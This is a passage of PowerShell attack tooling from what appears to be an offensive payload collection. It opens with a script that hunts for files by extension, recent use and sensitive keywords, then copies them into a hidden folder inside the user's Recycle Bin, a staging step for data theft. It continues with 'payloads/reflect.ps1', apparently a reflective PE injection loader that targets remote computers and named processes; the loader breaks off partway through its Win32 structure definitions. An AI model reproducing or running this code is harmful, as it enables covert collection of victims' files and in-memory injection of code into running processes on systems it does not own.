nt user> (the '$' is literal, needs to be escaped in pwsh)
    [string] $StagingDirectory = 'Recycle Bin',
    [bool] $SafeMode = $False,
    [string] $PseudoExtension = '_pseudo'
)

function Parse-Extensions {
    param ([string] $extensions)
    $extArray = $extensions.Split(",");
    $extensionsList = New-Object System.Collections.ArrayL
ist;

    if ($extArray[0] -match "all") {
        $extensionsList.add(".") | Out-Null
    } else {
```

```
        foreach($ext in $extArray) {
            $extensionsList.add(".$ext") | Out-Null
        }
    }

    return $extensionsList;
}

function Parse-IncludedDirectories {
    param ([string] $directories)
    $dirArray = $directories.Split(",");
    $dirList = New-Object System.Collections.ArrayList;

    foreach ($dir in $dirArray) {
            $dirList.Add($dir) | Out-Null
    }
    return $dirList;
}

function Parse-ExcludedDirectories {
    param ([string] $directories)
    $dirArray = $directories.Split(",");
    $dirString = "";

    if ($dirArray[0] -match "none") {
        return $dirArray[0]
    } else {
        foreach ($dir in $dirArray) {
            if ([array]::IndexOf($dirArray, $dir) -lt $dir
Array.Count-1) {
                $dirString += "$dir|";
            } else {
                $dirString += "$dir";
            }
        }
    }
```

```
    return $dirString;
}

function Parse-SensitiveContents {
    param ([string] $contents)
    $sensitiveStringsArray = $contents.Split(",");

    return $sensitiveStringsArray;
}

function Create-StagingDirectory {
    param ([string] $stagingDirIn)
    $logDir = $stagingDirIn;
    $logFile = "";
    $stagingDirectory = "";
    if ($stagingDirIn -match "recycle[``|\s]+bin") {
        $sid = ([System.Security.Principal.WindowsIdentit
y]::GetCurrent()).User.Value;
        $logDir = "C:\`$Recycle.Bin\$sid";
    }

    try {
        if (Test-Path -Path "$($logDir)\s"){
            $stagingDirectory = Get-Item -Path "$($logDir)
\s" -Force;
        } else {
            $stagingDirectory = New-Item -Path $logDir -Na
me "s" -ItemType "directory";
            $stagingDirectory.Attributes += "Hidden";
        }
    } catch {
        $logDir = "C:\Users\Public"
        if (Test-Path -Path "$($logDir)\s"){
            $stagingDirectory = Get-Item -Path "$($logDir)
\s" -Force;
        } else {
```

```
            $stagingDirectory = New-Item -Path $logDir -Na
me "s" -ItemType "directory";
            $stagingDirectory.Attributes += "Hidden";
        }
    }

    Write-Host "$($stagingDirectory)";

    return $stagingDirectory;
}

function Find-Files {
    param (
        [Parameter(Mandatory=$true)] [System.Collections.A
rrayList] $exts,
        [Parameter(Mandatory=$true)] [System.Collections.A
rrayList] $excludedExts,
        [Parameter(Mandatory=$true)] [System.Collections.A
rrayList] $incDirs,
        [Parameter(Mandatory=$true)] [string] $exDirs,
        [Parameter(Mandatory=$true)] [string] $accessed,
        [Parameter(Mandatory=$true)] [string] $modified,
        [Parameter(Mandatory=$true)] [string[]] $sensitive
    )

    $files = Get-ChildItem $incDirs -Recurse -ErrorAction
SilentlyContinue | where { `
        (-not $_.PSIsContainer) `
        -and (($exDirs -notmatch "none") -and ((Split-Path
-Path $_.FullName -Parent) -notmatch $exDirs)) `
        -and ((($exts[0] -eq ".") -and ($_.Extension -matc
h $exts)) -or ($_.Extension -in $exts) `
            -or (($sensitiveStrings -notmatch "none") -and
($_ | Select-String -Pattern $sensitiveStrings -List))) `
        -and ($_.Extension -notin $excludedFileExtensions)
`
```

```
        -and (((($accessed -notmatch "none") -and ($_.LastA
ccessTime -gt (Get-Date).AddDays($accessed))) `
            -or (($modified -notmatch "none") -and ($_.Las
tWriteTime -gt (Get-Date).AddDays($modified)))) `
    }

    return $files
}

function Stage-Files() {
    param(
        [Parameter(Mandatory=$true)] $files,
        [Parameter(Mandatory=$true)] [string] $stage,
        [Parameter(Mandatory=$true)] [string] $pseudo,
        [Parameter(Mandatory=$true)] [bool] $safe
    )

    ForEach ($f in $files){
        if($safe){
            if($f.BaseName -match "$($pseudo)$"){
                Copy-Item -Path $f.FullName -Destination
$stage -Force -ErrorAction SilentlyContinue
            }
        } else {
            Copy-Item -Path $f.FullName -Destination $stag
e -Force -ErrorAction SilentlyContinue
        }
    }
}

$FileExtensions = [System.Collections.ArrayList]@(Parse-Ex
tensions($Extensions));
$ExcludedFileExtensions = [System.Collections.ArrayList]@
(Parse-Extensions($ExcludedExtensions));
$IncludedDirectories = [System.Collections.ArrayList]@(Par
se-IncludedDirectories($Directories));
```

```
$ExcludedDirectories = Parse-ExcludedDirectories($Excluded
Directories);
$SensitiveStrings = Parse-SensitiveContents($SearchString
s);
$StageDir = Create-StagingDirectory($StagingDirectory);
Start-Sleep -s 2;

$Files = Find-Files -exts $FileExtensions -excludedExts $E
xcludedFileExtensions -incDirs $IncludedDirectories `
-exDirs $ExcludedDirectories -accessed $AccessedCutoff -mo
dified $ModifiedCutoff -sensitive $SensitiveStrings;

Stage-Files -files $Files -safe $SafeMode -stage $StageDir
-pseudo $PseudoExtension
```

▼ payloads/reflect.ps1

```
function reflect
{
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseA
pprovedVerbs', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseS
ingularNouns', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShou
ldProcess', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseS
houldProcessForStateChangingFunctions', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSPoss
ibleIncorrectComparisonWithNull', '')]
[CmdletBinding()]
Param(
    [Parameter(Position = 0, Mandatory = $true)]
    [ValidateNotNullOrEmpty()]
    [Byte[]]
```

```
    $PBytes,

    [Parameter(Position = 1)]
    [String[]]
    $ComputerName,

    [Parameter(Position = 2)]
    [ValidateSet( 'WString', 'String', 'Void' )]
    [String]
    $FuncReturnType = 'Void',

    [Parameter(Position = 3)]
    [String]
    $ExeArgs,

    [Parameter(Position = 4)]
    [Int32]
    $ProcId,

    [Parameter(Position = 5)]
    [String]
    $ProcName,

    [Switch]
    $ForceASLR,

    [Switch]
    $DoNotZeroMZ
)

Set-StrictMode -Version 2


$RemoteScriptBlock = {
    [CmdletBinding()]
    Param(
```

```
        [Parameter(Position = 0, Mandatory = $true)]
        [Byte[]]
        $PBytes,

        [Parameter(Position = 1, Mandatory = $true)]
        [String]
        $FuncReturnType,

        [Parameter(Position = 2, Mandatory = $true)]
        [Int32]
        $ProcId,

        [Parameter(Position = 3, Mandatory = $true)]
        [String]
        $ProcName,

        [Parameter(Position = 4, Mandatory = $true)]
        [Bool]
        $ForceASLR
    )

    ######################################
    ##########  Win32 Stuff  ##########
    ######################################
    Function Get-Win32Types
    {
        $Win32Types = New-Object System.Object

        #Define all the structures/enums that will be used
        #   This article shows you how to do this with ref
lection: http://www.exploit-monday.com/2012/07/structs-and
-enums-using-reflection.html
        $Domain = [AppDomain]::CurrentDomain
        $DynamicAssembly = New-Object System.Reflection.As
semblyName('DynamicAssembly')
        $AssemblyBuilder = $Domain.DefineDynamicAssembly
```

```
($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilder
Access]::Run)
        $ModuleBuilder = $AssemblyBuilder.DefineDynamicMod
ule('DynamicModule', $false)
        $ConstructorInfo = [System.Runtime.InteropService
s.MarshalAsAttribute].GetConstructors()[0]


        ############    ENUM    ############
        #Enum MachineType
        $TypeBuilder = $ModuleBuilder.DefineEnum('MachineT
ype', 'Public', [UInt16])
        $TypeBuilder.DefineLiteral('Native', [UInt16] 0) |
Out-Null
        $TypeBuilder.DefineLiteral('I386', [UInt16] 0x014
c) | Out-Null
        $TypeBuilder.DefineLiteral('Itanium', [UInt16] 0x0
200) | Out-Null
        $TypeBuilder.DefineLiteral('x64', [UInt16] 0x8664)
| Out-Null
        $MachineType = $TypeBuilder.CreateType()
        $Win32Types | Add-Member -MemberType NoteProperty
-Name MachineType -Value $MachineType

        #Enum MagicType
        $TypeBuilder = $ModuleBuilder.DefineEnum('MagicTyp
e', 'Public', [UInt16])
        $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR3
2_MAGIC', [UInt16] 0x10b) | Out-Null
        $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR6
4_MAGIC', [UInt16] 0x20b) | Out-Null
        $MagicType = $TypeBuilder.CreateType()
        $Win32Types | Add-Member -MemberType NoteProperty
-Name MagicType -Value $MagicType

        #Enum SubSystemType
```

```
        $TypeBuilder = $ModuleBuilder.DefineEnum('SubSyste
mType', 'Public', [UInt16])
        $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_UNKNOW
N', [UInt16] 0) | Out-Null
        $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_NATIV
E', [UInt16] 1) | Out-Null
        $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOW
S_GUI', [UInt16] 2) | Out-Null
        $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOW
S_CUI', [UInt16] 3) | Out-Null
        $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_POSIX_
CUI', [UInt16] 7) | Out-Null
        $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOW
S_CE_GUI', [UInt16] 9) | Out-Null
        $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_AP
PLICATION', [UInt16] 10) | Out-Null
        $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_BO
OT_SERVICE_DRIVER', [UInt16] 11) | Out-Null
        $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_RU
NTIME_DRIVER', [UInt16] 12) | Out-Null
        $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_RO
M', [UInt16] 13) | Out-Null
        $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_XBOX',
[UInt16] 14) | Out-Null
        $SubSystemType = $TypeBuilder.CreateType()
        $Win32Types | Add-Member -MemberType NoteProperty
-Name SubSystemType -Value $SubSystemType

        #Enum DllCharacteristicsType
        $TypeBuilder = $ModuleBuilder.DefineEnum('DllChara
cteristicsType', 'Public', [UInt16])
        $TypeBuilder.DefineLiteral('RES_0', [UInt16] 0x000
1) | Out-Null
        $TypeBuilder.DefineLiteral('RES_1', [UInt16] 0x000
2) | Out-Null
        $TypeBuilder.DefineLiteral('RES_2', [UInt16] 0x000
```

```
4) | Out-Null
        $TypeBuilder.DefineLiteral('RES_3', [UInt16] 0x000
8) | Out-Null
        $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERIST
ICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null
        $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERIST
ICS_FORCE_INTEGRITY', [UInt16] 0x0080) | Out-Null
        $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERIST
ICS_NX_COMPAT', [UInt16] 0x0100) | Out-Null
        $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTI
CS_NO_ISOLATION', [UInt16] 0x0200) | Out-Null
        $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTI
CS_NO_SEH', [UInt16] 0x0400) | Out-Null
        $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTI
CS_NO_BIND', [UInt16] 0x0800) | Out-Null
        $TypeBuilder.DefineLiteral('RES_4', [UInt16] 0x100
0) | Out-Null
        $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTI
CS_WDM_DRIVER', [UInt16] 0x2000) | Out-Null
        $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTI
CS_TERMINAL_SERVER_AWARE', [UInt16] 0x8000) | Out-Null
        $DllCharacteristicsType = $TypeBuilder.CreateType
()
        $Win32Types | Add-Member -MemberType NoteProperty
-Name DllCharacteristicsType -Value $DllCharacteristicsTyp
e

        ############    STRUCT    ############
        #Struct IMAGE_DATA_DIRECTORY
        $Attributes = 'AutoLayout, AnsiClass, Class, Publi
c, ExplicitLayout, Sealed, BeforeFieldInit'
        $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DA
TA_DIRECTORY', $Attributes, [System.ValueType], 8)
        ($TypeBuilder.DefineField('VirtualAddress', [UInt3
2], 'Public')).SetOffset(0) | Out-Null
        ($TypeBuilder.DefineField('Size', [UInt32], 'Publi
```

```
c')).SetOffset(4) | Out-Null
        $IMAGE_DATA_DIRECTORY = $TypeBuilder.CreateType()
        $Win32Types | Add-Member -MemberType NoteProperty
-Name IMAGE_DATA_DIRECTORY -Value $IMAGE_DATA_DIRECTORY

        #Struct IMAGE_FILE_HEADER
        $Attributes = 'AutoLayout, AnsiClass, Class, Publi
c, SequentialLayout, Sealed, BeforeFieldInit'
        $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_FI
LE_HEADER', $Attributes, [System.ValueType], 20)
        $TypeBuilder.DefineField('Machine', [UInt16], 'Pub
lic') | Out-Null
        $TypeBuilder.DefineField('NumberOfSections', [UInt
16], 'Public') | Out-Null
        $TypeBuilder.DefineField('TimeDateStamp', [UInt3
2], 'Public') | Out-Null
        $TypeBuilder.DefineField('PointerToSymbolTable',
[UInt32], 'Public') | Out-Null
        $TypeBuilder.DefineField('NumberOfSymbols', [UInt3
2], 'Public') | Out-Null
        $TypeBuilder.DefineField('SizeOfOptionalHeader',
[UInt16], 'Public') | Out-Null
        $TypeBuilder.DefineField('Characteristics', [UInt1
6], 'Public') | Out-Null
        $IMAGE_FILE_HEADER = $TypeBuilder.CreateType()
        $Win32Types | Add-Member -MemberType NoteProperty
-Name IMAGE_FILE_HEADER -Value $IMAGE_FILE_HEADER

        #Struct IMAGE_OPTIONAL_HEADER64
        $Attributes = 'AutoLayout, AnsiClass, Class, Publi
c, ExplicitLayout, Sealed, BeforeFieldInit'
        $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OP
TIONAL_HEADER64', $Attributes, [System.ValueType], 240)
        ($TypeBuilder.DefineField('Magic', $MagicType, 'Pu
blic')).SetOffset(0) | Out-Null
        ($TypeBuilder.DefineField('MajorLinkerVersion', [B
```

```
yte], 'Public')).SetOffset(2) | Out-Null
        ($TypeBuilder.DefineField('MinorLinkerVersion', [B
yte], 'Public')).SetOffset(3) | Out-Null
        ($TypeBuilder.DefineField('SizeOfCode', [UInt32],
'Public')).SetOffset(4) | Out-Null
        ($TypeBuilder.DefineField('SizeOfInitializedData',
[UInt32], 'Public')).SetOffset(8) | Out-Null
        ($TypeBuilder.DefineField('SizeOfUninitializedDat
a', [UInt32], 'Public')).SetOffset(12) | Out-Null
        ($TypeBuilder.DefineField('AddressOfEntryPoint',
[UInt32], 'Public')).SetOffset(16) | Out-Null
        ($TypeBuilder.DefineField('BaseOfCode', [UInt32],
'Public')).SetOffset(20) | Out-Null
        ($TypeBuilder.DefineField('ImageBase', [UInt64],
'Public')).SetOffset(24) | Out-Null
        ($TypeBuilder.DefineField('SectionAlignment', [UIn
t32], 'Public')).SetOffset(32) | Out-Null
        ($TypeBuilder.DefineField('FileAlignment', [UInt3
2], 'Public')).SetOffset(36) | Out-Null
        ($TypeBuilder.DefineField('MajorOperatingSystemVer
sion', [UInt16], 'Public')).SetOffset(40) | Out-Null
        ($TypeBuilder.DefineField('MinorOperatingSystemVer
sion', [UInt16], 'Public')).SetOffset(42) | Out-Null
        ($TypeBuilder.DefineField('MajorImageVersion', [UI
nt16], 'Public')).SetOffset(44) | Out-Null
        ($TypeBuilder.DefineField('MinorImageVersion', [UI
nt16], 'Public')).SetOffset(46) | Out-Null
        ($TypeBuilder.DefineField('MajorSubsystemVersion',
[UInt16], 'Public')).SetOffset(48) | Out-Null
        ($TypeBuilder.DefineField('MinorSubsystemVersion',
[UInt16], 'Public')).SetOffset(50) | Out-Null
        ($TypeBuilder.DefineField('Win32VersionValue', [UI
nt32], 'Public')).SetOffset(52) | Out-Null
        ($TypeBuilder.DefineField('SizeOfImage', [UInt32],
'Public')).SetOffset(56) | Out-Null
        ($TypeBuilder.DefineField('SizeOfHeaders', [UInt3
```

```
2], 'Public')).SetOffset(60) | Out-Null
        ($TypeBuilder.DefineField('CheckSum', [UInt32], 'P
ublic')).SetOffset(64) | Out-Null
        ($TypeBuilder.DefineField('Subsystem', $SubSystemT
ype, 'Public')).SetOffset(68) | Out-Null
        ($TypeBuilder.DefineField('DllCharacteristics', $D
llCharacteristicsType, 'Public')).SetOffset(70) | Out-Null
        ($TypeBuilder.DefineField('SizeOfStackReserve', [U
Int64], 'Public')).SetOffset(72) | Out-Null
        ($TypeBuilder.DefineField('SizeOfStackCommit', [UI
nt64], 'Public')).SetOffset(80) | Out-Null
        ($TypeBuilder.DefineField('SizeOfHeapReserve', [UI
nt64], 'Public')).SetOffset(88) | Out-Null
        ($TypeBuilder.DefineField('SizeOfHeapCommit', [UIn
t64], 'Public')).SetOffset(96) | Out-Null
        ($TypeBuilder.DefineField('LoaderFlags', [UInt32],
'Public')).SetOffset(104) | Out-Null
        ($TypeBuilder.DefineField('NumberOfRvaAndSizes',
[UInt32], 'Public')).SetOffset(108) | Out-Null
        ($TypeBuilder.DefineField('ExportTable', $IMAGE_DA
TA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null
        ($TypeBuilder.DefineField('ImportTable', $IMAGE_DA
TA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null
        ($TypeBuilder.DefineField('ResourceTable', $IMAGE_
DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null
        ($TypeBuilder.DefineField('ExceptionTable', $IMAGE
_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null
        ($TypeBuilder.DefineField('CertificateTable', $IMA
GE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null
        ($TypeBuilder.DefineField('BaseRelocationTable',
$IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Nul
l
        ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIR
ECTORY, 'Public')).SetOffset(160) | Out-Null
        ($TypeBuilder.DefineField('Architecture', $IMAGE_D
ATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null
```

```
        ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA
_DIRECTORY, 'Public')).SetOffset(176) | Out-Null
        ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_
DIRECTORY, 'Public')).SetOffset(184) | Out-Null
        ($TypeBuilder.DefineField('LoadConfigTable', $IMAG
E_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null
        ($TypeBuilder.DefineField('BoundImport', $IMAGE_DA
TA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null
        ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIREC
TORY, 'Public')).SetOffset(208) | Out-Null
        ($TypeBuilder.DefineField('DelayImportDescriptor',
$IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Nul
l
        ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMA
GE_DATA_DIRECTORY, 'Public')).SetOffset(224) | Out-Null
        ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_
DIRECTORY, 'Public')).SetOffset(232) | Out-Null
        $IMAGE_OPTIONAL_HEADER64 = $TypeBuilder.CreateType
()
        $Win32Types | Add-Member -MemberType NoteProperty
-Name IMAGE_OPTIONAL_HEADER64 -Value $IMAGE_OPTIONAL_HEADE
R64

        #Struct IMAGE_OPTIONAL_HEADER32
        $Attributes = 'AutoLayout, AnsiClass, Class, Publi
c, ExplicitLayout, Sealed, BeforeFieldInit'
        $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OP
TIONAL_HEADER32', $Attributes, [System.ValueType], 224)
        ($TypeBuilder.DefineField('Magic', $MagicType, 'Pu
blic')).SetOffset(0) | Out-Null
        ($TypeBuilder.DefineField('MajorLinkerVersion', [B
yte], 'Public')).SetOffset(2) | Out-Null
        ($TypeBuilder.DefineField('MinorLinkerVersion', [B
yte], 'Public')).SetOffset(3) | Out-Null
        ($TypeBuilder.DefineField('SizeOfCode', [UInt32],
'Public')).SetOffset(4) | Out-Null
```

```
        ($TypeBuilder.DefineField('SizeOfInitializedData',
[UInt32], 'Public')).SetOffset(8) | Out-Null
        ($TypeBuilder.DefineField('SizeOfUninitializedDat
a', [UInt32], 'Public')).SetOffset(12) | Out-Null
        ($TypeBuilder.DefineField('AddressOfEntryPoint',
[UInt32], 'Public')).SetOffset(16) | Out-Null
        ($TypeBuilder.DefineField('BaseOfCode', [UInt32],
'Public')).SetOffset(20) | Out-Null
        ($TypeBuilder.DefineField('BaseOfData', [UInt32],
'Public')).SetOffset(24) | Out-Null
        ($TypeBuilder.DefineField('ImageBase', [UInt32],
'Public')).SetOffset(28) | Out-Null
        ($TypeBuilder.DefineField('SectionAlignment', [UIn
t32], 'Public')).SetOffset(32) | Out-Null
        ($TypeBuilder.DefineField('FileAlignment', [UInt3
2], 'Public')).SetOffset(36) | Out-Null
        ($TypeBuilder.DefineField('MajorOperatingSystemVer
sion', [UInt16], 'Public')).SetOffset(40) | Out-Null
        ($TypeBuilder.DefineField('MinorOperatingSystemVer
sion', [UInt16], 'Public')).SetOffset(42) | Out-Null
        ($TypeBuilder.DefineField('MajorImageVersion', [UI
nt16], 'Public')).SetOffset(44) | Out-Null
        ($TypeBuilder.DefineField('MinorImageVersion', [UI
nt16], 'Public')).SetOffset(46) | Out-Null
        ($TypeBuilder.DefineField('MajorSubsystemVersion',
[UInt16], 'Public')).SetOffset(48) | Out-Null
        ($TypeBuilder.DefineField('MinorSubsystemVersion',
[UInt16], 'Public')).SetOffset(50) | Out-Null
        ($TypeBuilder.DefineField('Win32VersionValue', [UI
nt32], 'Public')).SetOffset(52) | Out-Null
        ($TypeBuilder.DefineField('SizeOfImage', [UInt32],
'Public')).SetOffset(56) | Out-Null
        ($TypeBuilder.DefineField('SizeOfHeaders', [UInt3
2], 'Public')).SetOffset(60) | Out-Null
        ($TypeBuilder.DefineField('CheckSum', [UInt32], 'P
ublic')).SetOffset(64) | Out-Null
```

```
        ($TypeBuilder.DefineField('Subsystem', $SubSystemT
ype, 'Public')).SetOffset(68) | Out-Null
        ($TypeBuilder.DefineField('DllCharacteristics', $D
llCharacteristicsType, 'Public')).SetOffset(70) | Out-Null
        ($TypeBuilder.DefineField('SizeOfStackReserve', [U
Int32], 'Public')).SetOffset(72) | Out-Null
        ($TypeBuilder.DefineField('SizeOfStackCommit', [UI
nt32], 'Public')).SetOffset(76) | Out-Null
        ($TypeBuilder.DefineField('SizeOfHeapReserve', [UI
nt32], 'Public')).SetOffset(80) | Out-Null
        ($TypeBuilder.DefineField('SizeOfHeapCommit', [UIn
t32], 'Public')).SetOffset(84) | Out-Null
        ($TypeBuilder.DefineField('LoaderFlags', [UInt32],
'Public')).SetOffset(88) | Out-Null
        ($TypeBuilder.DefineField('NumberOfRvaAndSizes',
[UInt32], 'Public')).SetOffset(92) | Out-Null
        ($TypeBuilder.DefineField('ExportTable', $IMAGE_DA
TA_DIRECTORY, 'Public')).SetOffset(96) | Out-Null
        ($TypeBuilder.DefineField('ImportTable', $IMAGE_DA
TA_DIRECTORY, 'Public')).SetOffset(104) | Out-Null
        ($TypeBuilder.DefineField('ResourceTable', $IMAGE_
DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null
        ($TypeBuilder.DefineField('ExceptionTable', $IMAGE
_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null
        ($TypeBuilder.DefineField('CertificateTable', $IMA
GE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null
        ($TypeBuilder.DefineField('BaseRelocationTable',
$IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Nul
l
        ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIR
ECTORY, 'Public')).SetOffset(144) | Out-Null
        ($TypeBuilder.DefineField('Architecture', $IMAGE_D
ATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null
        ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA
_DIRECTORY, 'Public')).SetOffset(160) | Out-Null
        ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_
```

```
DIRECTORY, 'Public')).SetOffset(168) | Out-Null
        ($TypeBuilder.DefineField('LoadConfigTable', $IMAG
E_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null
        ($TypeBuilder.DefineField('BoundImport', $IMAGE_DA
TA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null
        ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIREC
TORY, 'Public')).SetOffset(192) | Out-Null
        ($TypeBuilder.DefineField('DelayImportDescriptor',
$IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Nul
l
        ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMA
GE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null
        ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_
DIRECTORY, 'Public')).SetOffset(216) | Out-Null
        $IMAGE_OPTIONAL_HEADER32 = $TypeBuilder.CreateType
()
        $Win32Types | Add-Member -MemberType NoteProperty
-Name IMAGE_OPTIONAL_HEADER32 -Value $IMAGE_OPTIONAL_HEADE
R32

        #Struct IMAGE_NT_HEADERS64
        $Attributes = 'AutoLayout, AnsiClass, Class, Publi
c, SequentialLayout, Sealed, BeforeFieldInit'
        $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT
_HEADERS64', $Attributes, [System.ValueType], 264)
        $TypeBuilder.DefineField('Signature', [UInt32], 'P
ublic') | Out-Null
        $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE
_HEADER, 'Public') | Out-Null
        $TypeBuilder.DefineField('OptionalHeader', $IMAGE_
OPTIONAL_HEADER64, 'Public') | Out-Null
        $IMAGE_NT_HEADERS64 = $TypeBuilder.CreateType()
        $Win32Types | Add-Member -MemberType NoteProperty
-Name IMAGE_NT_HEADERS64 -Value $IMAGE_NT_HEADERS64

        #Struct IMAGE_NT_HEADERS32
```

```
        $Attributes = 'AutoLayout, AnsiClass, Class, Publi
c, SequentialLayout, Sealed, BeforeFieldInit'
        $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT
_HEADERS32', $Attributes, [System.ValueType], 248)
        $TypeBuilder.DefineField('Signature', [UInt32], 'P
ublic') | Out-Null
        $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE
_HEADER, 'Public') | Out-Null
        $TypeBuilder.DefineField('OptionalHeader', $IMAGE_
OPTIONAL_HEADER32, 'Public') | Out-Null
        $IMAGE_NT_HEADERS32 = $TypeBuilder.CreateType()
        $Win32Types | Add-Member -MemberType NoteProperty
-Name IMAGE_NT_HEADERS32 -Value $IMAGE_NT_HEADERS32

        #Struct IMAGE_DOS_HEADER
        $Attributes = 'AutoLayout, AnsiClass, Class, Publi
c, SequentialLayout, Sealed, BeforeFieldInit'
        $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DO
S_HEADER', $Attributes, [System.ValueType], 64)
        $TypeBuilder.DefineField('e_magic', [UInt16], 'Pub
lic') | Out-Null
        $TypeBuilder.DefineField('e_cblp', [UInt16], 'Publ
ic') | Out-Null
        $TypeBuilder.DefineField('e_cp', [UInt16], 'Publi
c') | Out-Null
        $TypeBuilder.DefineField('e_crlc', [UInt16], 'Publ
ic') | Out-Null
        $TypeBuilder.DefineField('e_cparhdr', [UInt16], 'P
ublic') | Out-Null
        $TypeBuilder.DefineField('e_minalloc', [UInt16],
'Public') | Out-Null
        $TypeBuilder.DefineField('e_maxalloc', [UInt16],
'Public') | Out-Null
        $TypeBuilder.DefineField('e_ss', [UInt16], 'Publi
c') | Out-Null
        $TypeBuilder.DefineField('e_sp', [UInt16], 'Publi
```

```
c') | Out-Null
        $TypeBuilder.DefineField('e_csum', [UInt16], 'Publ
ic') | Out-Null
        $TypeBuilder.DefineField('e_ip', [UInt16], 'Publi
c') | Out-Null
        $TypeBuilder.DefineField('e_cs', [UInt16], 'Publi
c') | Out-Null
        $TypeBuilder.DefineField('e_lfarlc', [UInt16], 'Pu
blic') | Out-Null
        $TypeBuilder.DefineField('e_ovno', [UInt16], 'Publ
ic') | Out-Null

        $e_resField = $TypeBuilder.DefineField('e_res', [U
Int16[]], 'Public, HasFieldMarshal')
        $ConstructorValue = [System.Runtime.InteropService
s.UnmanagedType]::ByValArray
        $FieldArray = @([System.Runtime.InteropServices.Ma
rshalAsAttribute].GetField('SizeConst'))
        $AttribBuilder = New-Object System.Reflection.Emi
t.CustomAttributeBuilder($ConstructorInfo, $ConstructorVal
ue, $FieldArray, @([Int32] 4))
        $e_resField.SetCustomAttribute($AttribBuilder)

        $TypeBuilder.DefineField('e_oemid', [UInt16], 'Pub
lic') | Out-Null
        $TypeBuilder.DefineField('e_oeminfo', [UInt16], 'P
ublic') | Out-Null

        $e_res2Field = $TypeBuilder.DefineField('e_res2',
[UInt16[]], 'Public, HasFieldMarshal')
        $ConstructorValue = [System.Runtime.InteropService
s.UnmanagedType]::ByValArray
        $AttribBuilder = New-Object System.Reflection.Emi
t.CustomAttributeBuilder($ConstructorInfo, $ConstructorVal
ue, $FieldArray, @([Int32] 10))
        $e_res2Field.SetCustomAttribute($AttribBuilder)
```

```
        $TypeBuilder.DefineField('e_lfanew', [Int32], 'Pub
lic') | Out-Null
        $IMAGE_DOS_HEADER = $TypeBuilder.CreateType()
        $Win32Types | Add-Member -MemberType NoteProperty
-Name IMAGE_DOS_HEADER -Value $IMAGE_DOS_HEADER

        #Struct IMAGE_SECTION_HEADER
        $Attributes = 'AutoLayout, AnsiClass, Class, Publi
c, SequentialLayout, Sealed, BeforeFieldInit'
        $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_SE
CTION_HEADER', $Attributes, [System.ValueType], 40)

        $nameField = $TypeBuilder.DefineField('Name', [Cha
r[]], 'Public, HasFieldMarshal')
        $ConstructorValue = [System.Runtime.InteropService
s.UnmanagedType]::ByValArray
